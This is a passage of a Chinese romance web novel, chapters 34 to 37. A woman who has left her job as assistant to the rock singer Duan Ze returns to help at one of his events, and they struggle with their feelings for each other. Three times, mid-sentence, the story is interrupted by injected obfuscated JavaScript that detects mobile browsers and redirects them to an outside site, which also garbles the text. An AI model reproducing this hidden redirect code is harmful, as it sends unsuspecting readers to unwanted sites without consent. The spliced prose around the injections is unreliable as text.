她忽然理解起段则宁愿把歌删掉,也不愿把它在别人的指点下改到面目全非。但是她没有任何自主权,只能诚惶诚恐地在雷区中艰难迈步。 通勤的地铁永远拥挤到水泄不通,入职这一周,她没有一次坐到过座位,好几次甚至险些挤不上车。 一罐头的沙丁鱼随着列车的启动和停止前后翻涌着,江绪春麻木地置身其中,任由人流将自己揉圆搓扁。 她低着头,脑中在想稿件回家后要怎么改,想着想着思维逐渐发散,想到其实部门里没人真的想做这个账号,发出去也没有人看,她只是在向领导交差,领导又向领导的领导交差…… 一切到底有什么意义? 这个问题一直困扰到她进家门,她脱下新买的黑色羽绒服,从冰箱翻出吃剩的半袋速冻水饺,煮饺子的这几分钟,还得先将电脑打开。 末了,江绪春一边吃饺子一边改稿。 脑子一片混沌,嘴里也食之无味,她停下动作,眼泪忽地就流下来了。 她突然开始想念段则。 在段则身边时,她虽然也会因为感情问题而自我贬损,但在这里,痛苦上升到了虚无主义和存在主义的哲学层面,那还不如回到段则身边,享受那种小布尔乔亚式的矫情。 可是是她主动提出离开的,她没有脸再回去,段则也没有义务再接纳她。 江绪春用力抹掉眼泪,囫囵将饺子吃完,又给自己倒了一杯冰水,开始和那些没有意义的事较劲。 不管她如何刻意避免,工作所需,她还是常常会刷到陆鲨的消息。 好在国摇算是个小众圈子,仅仅是回归这件事,也不值得她写一条新闻,江绪春只能在每天刷那些电视明星的八卦时,目光努力跳过那两个字。 向镭的电话来得很突然,恰逢江绪春在地铁上,被奶茶洒了一身的时候。 小姑娘并不是故意的,她看着像是游客,开开心心来首都玩,可惜没料到地铁晚高峰这汹涌的人流,拎着的奶茶不知被谁一挤,大半都洒在了一旁的江绪春身上。 原本氤氲着闷腥味的地铁内,突然升腾起一阵清冽的茶香。 人群像水波向四方扩散开,徒留江绪春和那个手足无措的姑娘。 小姑娘看起来都快哭了,道歉时的口音带着南方腔调,让她想起那座落后却安宁的小城,那个她努力想要离开,却始终驻守在她心底的地方。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332001|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“没关系。”江绪春接过路人递来的纸巾,一边擦一边说。 电话就在这时响起,她一手拎着电脑包,一手拿着纸巾,实在腾不出第三只手来。偏生手机响个不停,连手表都在“嗡嗡”震动着提醒她。 江绪春在原地站定三秒,忽而一把松开电脑包,扔下吸饱奶茶的纸巾,扯掉手表丢到地上,顺便狠狠砸下总是响个不停的手机—— 画面在脑海里过了一转,她眨眨眼回归现实,默默将脏掉的纸巾塞进口袋,取出手机接通电话。 “绪春,在忙吗?”向镭的声音自那头响起。 “怎么了?” “想问你这周末有没有空。” 可能是她已经离职的关系,向镭的语气听着比从前客气不少。 “我周六应该要加班。”江绪春说。 面试时说得好听能双休,入职后才发现大家默认周六也要上班,尤其是她这种尚处于试用期的,哪敢特立独行。 向镭在那头沉默两秒:“好吧。” “是有什么事吗?”江绪春心底隐隐有一个答案。 “说来话长,简单来说就是段则和小温三天一小吵,五天一大吵,现在小温宁愿一分钱不要也要离职,陆鲨结束休假后的首次活动就在这周日,我都不知道找谁帮忙。”向来文雅的向镭忍不住在那边爆了句粗口,“这个段则到底怎么回事,我感觉自打放假后,他就跟变了个人似的。” 同为打工人,江绪春在心底默默叹了口气。 “抱歉镭姐,但我周末实在走不开。” “没事,我理解,那我就不打扰你了。” 电话挂断,江绪春发现小姑娘还没下车,正在不远处怯生生地观察着她。 “北京好玩吗?”江绪春笑着和人搭讪。 小姑娘眨眨眼,呆愣愣的都不知怎么回应。 “北京其实挺好玩的。”她自说自话地又道。 今天是周四,按计划,她今晚可以稍微放松一下。 但不知怎的,洗漱完毕,她又打开电脑,把几个不那么紧急的任务都完成了。 合上电脑时,日期已经跳到了周五。 一杯咖啡帮她撑过了困顿的上午,下午,江绪春在工位上莫名如坐针毡,无数次她站起身来,最终也不过是去茶水间倒了杯水。 不知第多少次后,她放下杯子,转身走进了领导办公室。 “请假需要提前走审批,入职培训应该讲得很清楚吧?”得知她的来意,领导说。 江绪春张了张嘴,本想求求情,但最终她道:“合同上是双休,那我周六应该可以不来吧?” “你当然可以不来。”领导微笑道,“你以后都不来了也可以。” 翌日一早,江绪春已经坐在了机场候机厅内。 手机里多出了一个文件夹,里面装满了入职以来的每一份打卡记录。 登机通知和电话铃一同响起,江绪春看着屏幕上领导的名字,默默按掉电话,微笑将登机牌递给了地勤。 飞机乘风而起,开着飞机模式的手机被随手丢在一旁,江绪春靠在座椅上,慢慢阖上眼。 她终于拥有了两个小时的安宁。 35. 第35章 两小时后,飞机降落在c市机场。 江绪春第一次来c市时,就是跟着陆鲨跑通告。彼时的陆鲨还名不见经传,只是去音乐节凑个数,宣传海报上,他们的名字字号最小、位置最角落。 最追求自由的摇滚,现实里也得老老实实论资排辈。 他们明明去得还算早,可公共化妆间都被占完了,没辙,一行人只能在后台走廊上化妆换衣。 后来,还是某个当时小有名气的乐队看不过,邀请陆鲨去他们的专属化妆间。 两年后,那个乐队被爆出一桩扑朔迷离的丑闻。 段则是当时唯一公开站队他们的,然而真相很快被揭开,乐队成员确实做错了,段则也因此被骂了个狗血淋头。 后来,他再也没在公共平台上站过队。 江绪春按照向镭的线上指引,在地下停车场找到了那辆商务车。 她正准备上车,和坐在车内的段则一对上眼,脚步不由得一顿。 段则的表情还算平静,只淡淡扫了她一眼,重又看向前方。 他的精神状态看着算不上好,素着的一张脸带些疲态。浑身上下最精神的,可能是耳骨那枚简单的素圈,随着他别开脸的动作,在阳光下闪了一道。 江绪春沉默地上车、落座,电动车门缓缓合上,“咔哒”一声轻响后,良好隔音下,车内静得近乎诡异。 两人好像拼车的陌生人,连声招呼都不愿开口。 她知道段则对她有怨气,因为她近乎决绝的离开。她对段则也有,因为他不喜欢自己—— 她就是小心眼,就是不甘心,她对自己倾注了太多负面情绪,现在它们满溢出来,漫向了段则。 从机场回市区的路漫长得好像没有尽头,这么干坐着着实尴尬,江绪春阖眼试图小憩一会儿,躁动的头脑却怎么都无法安定。 辗转反侧数次后,她放弃地猛地睁开眼,余光里闪着屏幕的点点幽光。 两人之间隔着扶手箱的距离,她只能隐约从颜色和轮廓分辨出来,段则是在看某平台的私信。 很快,键盘被调动出来,段则的拇指在上面飞快移动着。 大概三四年前,他就不怎么回复粉丝私信了,前年签约公司后,这点更是被公司明令禁止。 这是在回什么呢?艺人朋友的吗? 江绪春的好奇心蓦地被调动起来。 段则似乎没有发现她已经睁眼了,目光完全集中在屏幕上,键盘敲打得飞快。 江绪春呼吸微屏,一点点朝他那侧靠去、再靠去,眼珠子也滴溜溜地一道转了过去。 终于,她隐约能从一团团光斑中辨别出几个方块字。 只是怎么好像都不是什么好词儿? 视野忽地一暗,段则将手机倒扣在腿上,斜飞她一眼:“在看什么?” 江绪春半张着嘴,本想辩解几句,又觉得没什么意义:“你回了他们什么?” 段则抗拒地避开她的目光,喉结一滚,没应声。 趁他走神的瞬间,江绪春一把夺过他的手机。 段则下意识伸手想抢,但动作幅度并不大,只在空中徒劳地抓了两下,便悻悻收回手。 面容识别自动解锁时,江绪春愣了一下。 段则工作和生活都是用这部手机,偶尔他忙起来,会麻烦她回复些工作消息,总是解锁太麻烦,便把她的面容录了进去。 大概只是忘了删,这很正常,她的电脑里还有一堆关于陆鲨的文件没删呢。 上滑锁屏,私信页面随之展露在眼前。 【用户A:靠脸吃饭的废物,也就骗骗小姑娘的钱。】 【段则:你是不是长得不好看?】 【用户B:你给我等着哈,迟早线下真实你。】 【段则:小学生都不这么约架了。】 【用户C:垃圾,娘炮,恶心,想吐。】 【段则:不舒服就上医院看看。】 江绪春一条条划去,简直目瞪口呆。 “你疯了吗?”她几乎是将手机飞了回去,“你知道这会被带多大的节奏吗?尤其你马上要发新专辑了,多少同行盯着你呢。” “这和你有什么关系吗?” 轻描淡写的一句,却让江绪春的喉口猛地发堵。 她沉默几秒:“是和我没关系,我只是心疼镭姐,又有麻烦要处理。” “所以我对你而言只是一个麻烦。” 江绪春难以置信地看向他:“这是工作,我们在聊工作!” “哦。” 这个段则确实不太正常。 但江绪春无暇顾及这么多,尽快给向镭去了一通电话,把这件事告诉了她。 她听见向镭在那边沉默几秒,爆了一句粗口。 共事近三年,她听过向镭说的脏话加起来,都没有她提出离职后的多。 “你不要再看任何私信和评论了,最好断网一段时间。”电话挂断,江绪春平复了一下心情后开口,“隔着屏幕缺少代价,恶意很容易无限扩大,他们于你而言是隐身的,但你是要站在聚光灯下的。” “因为我是公众人物,所以他们骂我,我就要忍着,对吗?” “对。” “那如果我不做公众人物了呢?” 江绪春下意识要和向镭一样飙出一句脏话,但她深吸一口气,转头看向他,不再是那种指责和质询的目光,更像是纯粹的审视和探寻。 他很显然又瘦了,面颊都有些隐隐的凹陷,目光与其说是平静,莫不如是已经没有任何情绪,像一具灵魂出壳的躯壳。 他们从来不是什么仇人,她再怨他,也还是喜欢他。 哪怕没有爱情,他永远是她最好的朋友。 “忙完这一阵,你去医院看一看吧。”江绪春说,“我觉得你好像病了。” 闻言,段则没说话。他胡乱地抹了一道眼睛,眨了眨眼,好像还是看不清,他下意识去翻扶手箱,空的,这才意识到这不是自己的车,眼镜盒不在里面。 末了,他喉结一滚,敷衍地“嗯”了一声。 时间紧迫,江绪春都来不及去酒店放行李,直接被载到了餐厅,去和合作方吃饭应酬。 这次合作是假期前就定下的,江绪春有和他们线上对接过,这回也算是网友奔现了。 向镭一早在餐厅等候,三人一见面,她劈头盖脸就是一句:“你主动说要去接小江,结果就是给我接回来这么个消息?” 江绪春这才意识到,陆鲨一行人昨天就到c市了,段则完全没必要千里迢迢去机场折腾这一趟。 她下意识看向他,段则谁也没看,微垂着眼,回了句“对不起”。 向镭:“把这句留给Cathy吧,懒得和你说。” Cathy是公关部的同事之一。 撇开段则,向镭将江绪春拉到一边,语气和表情霎时和缓了许多:“谢谢你愿意过来,真的是帮了我大忙了。” “不用谢,小事。” “目前工作怎么样?” 可能是脱离了同事的身份,此刻的向镭在她看来,更像是一个可靠温柔的姐姐。 江绪春无奈地摇摇头,坦诚道:“不太好。” 见状,向镭上前一步,象征性地轻轻抱了下她。 “有没有考虑过回来?”向镭说。 江绪春欲言又止,末了道:“先忙完这个吧。” 前期工作都对接得差不多了,饭局气氛还算轻松,大家聊着聊着,就谈到了刚刚离开的小温。 “这个小朋友确实年纪太小,不够踏实,一看就是来玩玩的。”有人说。 “不止是玩玩,人家是擅自把艺人联系方式给朋友做人情,完全踩红线了好吧,不罚他都不错了。” 江绪春这才知道,小温还做了这种事。 “擅自给联系方式还算好啦,我之前听说过一个,偷偷把艺人穿过的衣服卖给粉丝的。人家衣服多,一件也就穿个一两次,卖了小半年才被发现,吓得马上报警了。”有人接茬道。 闻言,饭桌上响起一片感慨声。 “前几年爆出来和助理结婚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17336127|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个明星你们记得不。”又有人说,“其实那人一开始就是他粉丝,托关系混进去了,还真给她追到了。” “不然你以为为什么现在入行审查越来越严了,但总有防不胜防的。” “是吧,就算一开始不是粉丝,你也阻拦不了人家日久生情。” 江绪春握着筷子的手越捏越紧。 她不是陆鲨的粉丝,她是段则主动邀请她入行的,她觉得他们说的话和她都没有关系,可她没法按捺自己愈发不自在的身体。 “不好意思。”她终于出声打断了这一切。 饭桌上霎时鸦雀无声,十几双眼齐刷刷转向她。 江绪春站起身来:“我去趟卫生间。” 紧绷了一瞬的气氛瞬间松弛下来,大家“哦”“好”地应了几声,又回归到刚刚的话题。 江绪春冲去卫生间,掬起一捧冷水泼到脸上,水珠顺着下巴滴滴答答往下落,她的情绪也逐渐回落平复。 镜中的人有一双不算善意的眼睛,那里面写满了不满、委屈和些许不甘。 少顷,江绪春走出卫生间,倚着墙尚在休息,迎面就见段则朝这处走来。 擦肩而过之际,段则脚步一顿,很轻地笑了一下:“你速度真快。” 江绪春一愣:“嗯?” “我正想跑路,就见你先站起来了,前后脚太明显,害得我又多坐了两分钟。” 江绪春没忍住笑了:“你跑什么?” “很无聊啊,聊的那些东西。” “你怕别人发现你前助理喜欢你?” “谁管他们发不发现,一群碎嘴子。”段则沉默几秒,“反正你也不会回来了。” 江绪春欲言又止:“嗯。” 空气陷入一阵凝滞,半晌后,段则开口道:“你先回去吧,我还想再待一会儿。” “凭什么,我也想。” 段则看了她少顷,转身就往回走。 没两步,江绪春一把上前拉住他。 段则没回头,垂眼望着她的手:“干嘛?” 她不知该说什么,“你陪陪我”这种话好像不适合他们现在的关系。 “我先出来的,还是我先回去吧。”最终她道。 “你想回去继续听他们念?” “……不想。” “那还是我回去吧。” 车轱辘话绕得她头晕,她突然自暴自弃道:“都别回去了。” 一起回去又怎么样,时间长又怎么样,反正只要他们想,再怎么避嫌都能被传闲话。 更何况,他们之间确实不清白。 段则被她突然的摆烂逗笑了,他回过身去,侧身靠着墙,和她面对面共享走廊尽头这方小小空间。 “行,都不回去了。”他说。 走廊上氤氲着幽雅的花香,仍无法平息她纷乱的心绪。江绪春顺利把他留下来了,却又无话可说,只能定定地望着他垂在身侧的手,刚刚被她无意间一把抓住,还是同记忆里一样温热。 胃很不争气地叫了两声,在这极度的静谧下,吵闹得很是明显。 “饿了?”段则问。 “……嗯。” 她昨晚被领导气得没吃饭,今早忙着赶飞机也没来得及吃,刚刚好不容易坐下来,为了维持所谓淑女形象,刚象征性地夹了几筷子,结果又被烦得出来透气。 “走吧,去吃饭。”段则转身作势要走。 “我不想回去。”听他们聊那些八卦,还不如让她饿死。 “谁让你回包厢了。”段则不由分说抓着她往外走,“出去吃,吃你想吃的。” 江绪春被他拽着,跌跌撞撞地往外走。 她不知道以后还会不会有这么一个人,在讨厌的应酬饭桌上,能不由分说带着她一起出逃。 可是不要想以后了吧,她就是想了太多以后,才搞砸了好多事。 可是有些事,就算她不想,好像也回不去了。 比如说,江绪春垂下眼—— 段则握的不再是她的手,而是她的手腕。 36. 第 36 章 两人就近找了家小餐馆,点了几道本地特色菜。江绪春确实是饿了,之前在包厢里还假模假样地只夹点小块的菜,一到段则面前,便不顾形象地大快朵颐起来。 吃一半,她回过神,段则似乎都没怎么动筷子。 “你怎么不吃?”江绪春问。 “刚刚吃饱了。” 在包厢里时,大抵是车上的尴尬气氛还在延续,她并没怎么关注段则的动向。 但看他明显比从前瘦削的脸,料也知道撒谎的成分偏高。 要是放在过去,她大概哪怕掐着段则的嘴巴,也要把吃的给他塞进去。 而现在,她只剩下一句:“好好吃饭。” 段则:“嗯,你也是。” 在饭局上出逃十分钟可以,出逃一小时也可以,但到底是还要再见的人,出于基本的礼貌,还是得回去告个别。 向镭的短信已经发来了两条,两人抓紧赶了回去,借口在走廊遇到了共同好友,攀谈了好一会儿。 众人面上带着客套的微笑,没有人对这个脆弱的借口提出质疑,彼此又寒暄了几句,说着“明天见”“一切顺利”之类的话结束了饭局。 江绪春跟着陆鲨一行人来到下榻的酒店,刚放下行李,便紧锣密鼓投入到工作当中,同合作方远程核对明天的流程。 在这里,没有人会对她的工作能力提出质疑,每一个细节她都得心应手,潜规则再多,也多不过领导间的那些弯弯绕绕。 一顿忙碌下来,再抬头,窗外已然擦黑。 奇怪的是,她居然一点儿也不觉得累,只有一种完成任务后的畅快与舒心。 一切都尽在掌握的感觉真好。 门铃忽而被按响,来人是向镭,说是他们准备出门吃晚饭,问江绪春要不要一起。 她刚准备应,扫了眼走廊上的几个人:“段则呢?” “他说他不饿,让我们先吃。”鼓手道。 江绪春沉默几秒:“我还有些收尾工作要做,你们先吃吧,回头我自己解决。” 脚步声在走廊上渐行渐远,江绪春看向斜对面紧闭的房门,她知道段则住在那间。 -他吃不吃饭关你什么事,你又不是他的保姆,甚至连助理都不是了。 -可是他是我的好朋友。 -他都不喜欢你欸。 -可是我喜欢他。 江绪春在门口伫立许久,心头像是被谁拧了一道,她近乎赌气地用力关上房门,趿拉着步子往卧室走。 没关系,在感情这件事上,她向来是个三分钟热度的人,也许要不了多久,她就会喜欢别人了。 只是这个时间,谁能给她一个准数呢。 心烦意乱之下,她几乎做不了什么正事。江绪春心不在焉地看了会儿电视,直到肚子开始咕咕作响,才打开外卖软件,想着随便点些什么。 没翻两页,门铃响了。 向镭他们吃饭这么快吗? 江绪春纳罕地走上前,门一开,门口站着一个瘦高的身影。 走廊的暖黄灯光下,段则的面庞也变得柔和了些,他垂眼看向她:“一起出去吃饭吗?” 她的心没出息地感到一阵雀跃。 但她的表情还算镇定:“你不是说不饿吗?” 段则疑惑地微微皱了下眉,终于回忆起来:“那是我一个小时之前说的话。” “哦。”江绪春莫名不太敢看他无奈的眼睛,“我去换个衣服。” “多穿点,外面起风了。” c市地处南方,来得太匆忙,她只简单看了眼天气预报,带了几件薄衣服来。 白天还算刚好,入夜起风未免显得单薄,可她行李箱里唯一的厚衣服,就是留着回北京穿的羽绒服。 到最后,江绪春心一横,穿着条长袖连衣裙便出了门。 段则一直耐心等在门口,望见她的穿搭一怔:“外面冷。” “我只有羽绒服。” 他沉默几秒:“你等我一下。” 江绪春看着他回到自己的房间,没一会儿拿了件风衣出来:“披上吧,别感冒了。” 只是这本来就是件长款风衣,段则自个儿穿着都过膝,到她身上简直成了巫师长袍,走一转儿都能给人地面扫得锃光瓦亮。 看她为难地提着衣摆的样子,段则也很难办:“我就带了两件外套。” “要不算了……” 话说一半,段则果断脱下自己身上的冲锋衣递给她:“交换一下。” 冲锋衣上还残留着他的温度与味道,那种熟悉的、令人安定的气息,透过连衣裙单薄的面料,透过拉高的领口,霸道又毫无保留地包裹着她。 这明明是在朋友间无比正常的事。 太奇怪了,太奇怪了,明明是同样的人,明明是做过的事,为什么一切都不一样了。 江绪春什么也没有说,就这么穿着他的衣服,亦步亦趋地跟着他,看那风衣的衣摆随着他的步伐,在风中上上下下地翩飞着。 你对我就没有一丝一毫的心理波动吗? 明天便是平安夜,街上的圣诞氛围颇为浓厚。 两人找了间酒店附近的西餐厅,店内立着一棵快要及顶的巨大圣诞树,彩灯缭绕银铃叮当,光是看着就能让人感到幸福。 鉴于明天有活动,段则只点了份清淡的沙拉。 江绪春还在等待自己的前菜时,侍应生端了两杯酒上来。 “您好,圣诞月期间光临本餐厅的情侣,均赠送鸡尾酒两杯。”侍应生笑意盈盈道,“祝两位圣诞快乐,百年好合。” 两双茫然又讶异的眼齐刷刷看向了侍应生。 江绪春率先开口道:“我们不是情侣。” 侍应生脸上的笑容一僵,忙道:“不好意思不好意思,那也请二位尝尝这两杯酒,有问题随时找我哦。” 说完,他一个欠身,尴尬地快步离开—— 留下两个同样尴尬的人。 段则率先打破了这僵局,笑笑道:“人家随口一说。” “你不介意?” “不介意啊,我们以前被误会得还少?” 世人好像总觉得,男女之间是不会有纯友谊的。 在她变心前,江绪春对这句话完全嗤之以鼻。 逢年过节,商家总会举办一些活动,譬如刚刚的赠酒,又或者打折之类的情侣专享活动。 每每两人光临时,总是会被误会。 但鉴于误会的“代价”还挺丰厚,彼此都默契地缄默不语,直到老板走后才交换目光,狡黠一笑,好像一对行走江湖的雌雄双煞。 尤其是乐队初期,两人穷得叮当响,这点羊毛更是应薅尽薅。 “其实不给我们打折,也会给其他人打折,我们也不是没给钱嘛……”江绪春还是有点心虚,总会在事后这么碎碎念地自我安慰着。 相比之下,段则倒洒脱很多:“没办法,谁让我们般配。” “是啊是啊,是他们自己认错的。” 而现在,他们不缺这两杯酒的钱,也没法坦然接受这种误会。 段则最终一口酒没喝,明天有活动,这也正常。 江绪春倒是喝了个精光,以她的酒量,一杯鸡尾酒应该不成问题,可不知这杯酒是怎么调出来的,离席时她站起身来,忽地感到一阵头重脚轻,天旋地转。 她下意识伸手撑了下桌面,段则留意到她的动作,走到她身边,一把揽住她的肩膀,带着她向前。 过分自然的动作,惊得江绪春忍不住打了个颤,也不知是更清醒了,还是更糊涂了。 她确实需要段则的搀扶才能向前,所以她没挣脱,但有些事她得说清楚:“你不觉得这样太亲密了吗?” “嗯?”段则低头看她一眼,自顾自地继续揽着她向前,“人家都误会了,酒也喝了,做戏得做全。” 江绪春眨眨眼,忽然意识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17346997|197267||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到不对:“我们刚刚不是都否认了吗?” 揽着她肩膀的手一顿,带着她在原地也踉跄了一下,段则最终什么也没说,继续揽着她向前。 经过那棵巨大的圣诞树时,江绪春没忍住,伸手摸了一把上面缀着的铃铛。 那是只空心铃铛,抚过没有任何声音,段则用余光瞥了一眼:“想要什么圣诞礼物?” 江绪春突然很想坏心思地说什么“把你作为礼物”之类的话,但她还不够醉,尚有理智牵引着她。 “不要,我不过圣诞节。” “哦。” 朋友之间没那么多节日,两人平日里互相送太多东西,倒也不差逢年过节的这一两件,对节日的最大尊重,无非是一起出去吃顿饭。 段则也确实没怎么给她送过圣诞礼物,认识这么多年就送过两次。一次是高一,他说看大家都在送苹果,就给她也捎一个,那是他在小卖部买的,一晚上送出去了好几十个。 还有一次是大学毕业那年,也是她决定和他一起追梦那年。那时候他支出个几分几毛都要算清楚,但还是给她送了条缀着星星和铃铛的圣诞款手链,小一千块。江绪春很惊喜,又很疑惑,他说看到感觉她戴着会好看就买了。 那条手链现在还在江绪春老家床头柜里放着,不过已经褪色发黑到没法戴了。前年两人闲聊时,江绪春有提过一嘴这事,说真是搞不懂他的消费观。 段则沉默良久,开口道:“其实那时候,我觉得特别对不起你,但是我又舍不得放你走,我不知道该怎么补偿你,所以……” “你当时把那一千块给我,我会更开心欸。” “真的吗?” “真的。” 假的。 她到现在还记得那晚收到礼物的惊喜,她坐在段则出租屋的沙发上,面容凝重地拿着手机,反复研究要怎么措辞,能更好地和livehouse老板砍价。 段则就在这时候拍拍她,给了她一个用圣诞风包装纸包裹着的长条盒子。 “平安夜快乐。”他说。 江绪春好奇地接过礼物,连包装纸都舍不得撕破,小心翼翼地从接缝处一点点拆开。 那时候,出租屋的顶灯还没被他换成led的,是那种老式的黄色灯泡。一片昏黄下,她掀开盒子,就好像谁施了魔法,眼前闪过一连串银白色的亮光,她惊喜得瞬间叫出声来。 就像是卖火柴的小女孩点燃了火柴,哪怕不知道还有没有明天,至少在这道银色的幻象里,她拥有了短暂但热烈的幸福。 不过,火柴总会燃尽。 合金材质的手链,也终有一天会黯淡生锈。 快要走到酒店门口时,一路的冷风吹过来,她的头脑已经清明许多。 江绪春略略用力挣开他的手,见她的步伐还算平稳,段则默默将手抄回了口袋。 两人乘坐同一部电梯上楼,又在走廊互相告别,即将推门进屋时,江绪春叫住他。 “嗯?”段则回头。 江绪春脱下身上的冲锋衣递给他:“谢谢。” 段则没有第一时间去接,就看着它悬在两人之间,直到江绪春晃了晃手,他才伸手接过。 “不用谢。” 回到房间,江绪春第一件事便是好好洗了个澡。 洗掉了酒气,更重要的是洗掉了他的气息。 她窝在柔软的被褥里,享受着一天下来难得的清闲时分,偏偏大数据推送的全是圣诞相关话题,无聊得很。 门铃忽而响起。 已经这个点了,怎么还有人找她。 江绪春犯懒地窝在床上打了个滚,还是不情不愿地起身上前开门。 门外空无一人。 这一层基本都是他们的人,谁会这么无聊。 江绪春在心底埋怨了几句,困惑地想将门关上,垂眼的瞬间,她忽然发现—— 走廊的地毯上,躺着一方狭长的礼物盒。 37. 第 37 章 那方首饰盒就这么静静躺在她脚边,它没有被廉价的包装纸包裹,因为上面的logo已经足够闪耀。 江绪春居高临下地看着它,又缓缓看向斜对面紧闭的房门,有那么一瞬间,她很想让它就这么永远躺在走廊上,但最终,她还是弯腰将它带回了房间。 酒店暖黄的氛围灯,让江绪春想起了出租屋的黄色灯泡。她心如止水地打开它,就算猜到了里面是什么,仍旧被它的光芒晃了一下眼。 一条圣诞系列的手链,铂金链配钻石坠饰。刚刚吃完饭经过商场时,她有在外墙的大屏上看到它,模特将戴着手链的手横于胸前,微抬下巴睥睨众生,好像戴上它就拥有了全世界。 江绪春小心翼翼地取出手链,在手腕上比划了一圈。确实很漂亮,钻石的璀璨,是合金材质完全无法比拟的。 可是,她好像完全找不回那晚的快乐感觉。 收好手链,江绪春打开通讯软件,两人的对话还停留在半月前,也许没有小温离开,它会一直停滞下去。 收到别人的礼物,按理至少要回句“谢谢”。 江绪春的拇指悬在键盘上,却敲出了一句质问。 【江绪春:我不是说我不要礼物吗?】 那头回得很快。 【段则:我想送。】 【江绪春:那你为什么不当面送给我?】 “对方正在输入……”在顶上来来回回,江绪春等着他能回出什么令人信服的好借口,结果只等来三个字。 【段则:不知道。】 就好像一拳打在了棉花上,江绪春恨不得马上冲出门锤他几拳。 【江绪春:不要再这样了。】 【段则:知道了。】 【江绪春:不要再让我误会了,不要再让我心动了,不要再做这种模棱两可的事了。】 按下发送键,江绪春丢开手机,一遍遍用力喘着气。 还好隔着屏幕,否则面对面说的话,她只怕自己要掉下眼泪来。 手机提示音清脆地响了一下。 【段则:也不要再做朋友了对吗?】 王八蛋。 【江绪春:你明明知道我没法再把你当朋友了。】 【段则:我好想你。】 【段则:你离开的每一天,我都在想你。】 视野一瞬间变得模糊。 江绪春扑在棉被上,感觉面前的布料在一点点变得湿润温热。 她一点也不想知道这些,她讨厌暧昧,讨厌一切不确定的东西,讨厌所有会让她回头的冲动。 良久,她用力抹了把眼睛,重新拿起手机。 【江绪春:也不要告诉我这些。】 - 还好江绪春昨晚足够聪明,和酒店要了些冰块,翌日起床时,双眼肿得不算厉害,简单化个妆就能盖住。 活动定在下午一点,陆鲨一行人会在商场中庭亮相,配合商场领导进行翻新后的开业剪彩,再和台下观众进行些小互动。整个流程约莫一个小时,连歌都不用唱一首。 这是段则最不喜欢的通告类型,这让他觉得自己只是一枚有价值的商品,而不是一位摇滚歌手。 只是人在屋檐下,要低头的事太多太多。 一行人直接在酒店内进行妆发造型,江绪春再次确认了车辆、司机、道路拥堵情况,以确保届时能准时抵达。 她在打电话时,段则就在不远处任人涂抹。 化妆师示意他眼睛向上看,他听话地一抬眼,瞬间和她遥遥相望。 “眼睛不要眨哦。”她听见化妆师无奈道。 江绪春很轻地哼笑了一声,拿着手机走向另一个方向。 可能是昨晚已经大哭了一场,她觉得自己现在的心态意外还不错。更何况,她有基本的职业素养,工作就是工作,她不会为任何琐事影响到自己的工作状态。 活动准备的服装是一套缎面西装,光芒流转其中,看起来雍容华贵。 这套并不是量体裁衣,服装师手拿工具,示意他抬起和放下胳膊,为他做着最后调整。 段则在原地站得笔直,只有手臂随着指令举落,服装师比他矮上一头,他垂眼看着对方,面无表情,瘦削的侧脸有如刀凿。 他看起来好似一尊漂亮的雕塑,层层叠叠的妆容和华服就这样一点点包裹住他,让他变得矜贵又疏离。 江绪春站在斜后方,一瞬不瞬地看着他。 很多这样的时刻,上一秒他还枕在她身上说累,下一秒,就变得那般遥不可及,她明明离他是那么近,却又那么远。 歌迷们离开观众席,关掉手机,起码还能重新回到现实。可是她不行,在他身边的每分每秒都像梦境,无非有些更真实,有些更梦幻,但毫无疑问都是梦。 所以她决定离开,她也想回到现实。 一切准备就绪,一行人向商场进发。 商务车的位置不知什么时候被固定了,向镭坐在前排,段则和江绪春坐在中间,另外三人坐在后排。 哪怕她已经离职,只是回来帮个忙,但大家都默契地坐到了老地方,只留给了她唯一选择。 段则正专注看着等会儿要念的稿子,见她上车,只分了她短暂的一瞥,便继续默背着。 随着她的落座,商务车缓缓驶离酒店。 他今天喷了香水,是赞助方要求的味道,水生馥奇调,略略带着药感的草本香,在狭窄空间内一缕一缕探向她的鼻腔,她头一次觉得,香味是如此冒犯的存在。 一路上众人都很沉默,除了向镭叮嘱了几句,以及江绪春和商场再次电话确认了停车细则,再无任何言语。 一切都很顺利,商务车在指定位置停泊,陆鲨一行人在商场工作人员的护送下,自员工通道走进商场。 隔离门尚未打开,便已经能听见内里的欢呼声,最后一次确认造型和妆容无误后,工作人员一左一右将门拉开。 尖叫和人流有如潮水般漫开,江绪春刻意放慢了步伐,远远看着他在众人围簇下,缓慢但优雅地向前。 他脸上的笑容是经过精心计算的。很多年前,江绪春和他面对面坐着,一点点指导他应该将嘴角扬到哪个角度,眼睛眯到什么程度,才看起来状似亲切,又遥不可及—— 